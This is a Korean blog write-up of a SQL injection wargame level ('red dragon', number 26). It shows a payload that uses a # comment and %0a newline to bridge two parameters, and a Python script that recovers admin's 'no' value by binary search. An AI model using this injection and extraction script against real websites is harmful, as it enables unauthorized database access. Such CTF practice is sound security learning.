LJ

Lord of SQLinjection ( 26번 ) red dragon 본문

IT 보안/보안첼린지

Lord of SQLinjection ( 26번 ) red dragon

짱준재 2024. 8. 2. 15:23

 

 

 

 

 

 

 

 

 

 

26번 레드 드레곤이다.

 

 

 

 

 

admin의 맞는 no 값을 알아야 문제가 해결된다.

id=admin이고 no 값 이 맞는 데이터가 db에 있나
admin의 no 를 가져온다.
그때 admin의 no와 파라미터 no 값이 같으면 문제 해결

 

 

id='||no>%23&no=%0a1000

 

 

여기서 %23  (=#) 은 한줄 주석이기에 뒤의  no= 이 코드는 무시되어 %0a로 아래줄로 넘어간 1000이 

 

 

no> 이 뒤에 붙어 no>1000 이 된다.

 

 

 

 

 

  1000000000>no>100000000 이 된다.

 

숫자가 커서 이진탐색을 통해 구해야한다.

 

 

 

 

 

import requests

def check_no(url, cookie):
    head = {"PHPSESSID": f"{cookie}"}
    print("대상 문자열의 길이를 확인중입니다..")
    low, high = 100000000, 1000000000
    found_value = None
    while True:
        mid = (low + high) // 2
        param = f"?id=%27||no<%23&no=%0a{mid}"
        my_url = url + param
        res = requests.get(my_url, cookies=head)
        if low>high:
            answer=mid
            print("정답:    "+str(answer))
            return mid
            break
        if "Hello admin" in res.text:
            found_value = mid
            high = mid - 1
        else:
            low = mid + 1
        
    

if __name__ == "__main__":
    print("시작합니다")
    
    url = input("URL:")
    cookie = input("cookie:")
    
    no = check_no(url, cookie)
    if no is not None:
        print(f"{no}입니다.")
    else:
        print("찾을 수 없습니다.")

 

 

 

 

코드 수행 시

 

 

결과가 나온다.

 

 

 

 

 

 

해결 완료~~

 

 

 

 

*******key point********

 

-# 한줄주석 %0a 이용

Comments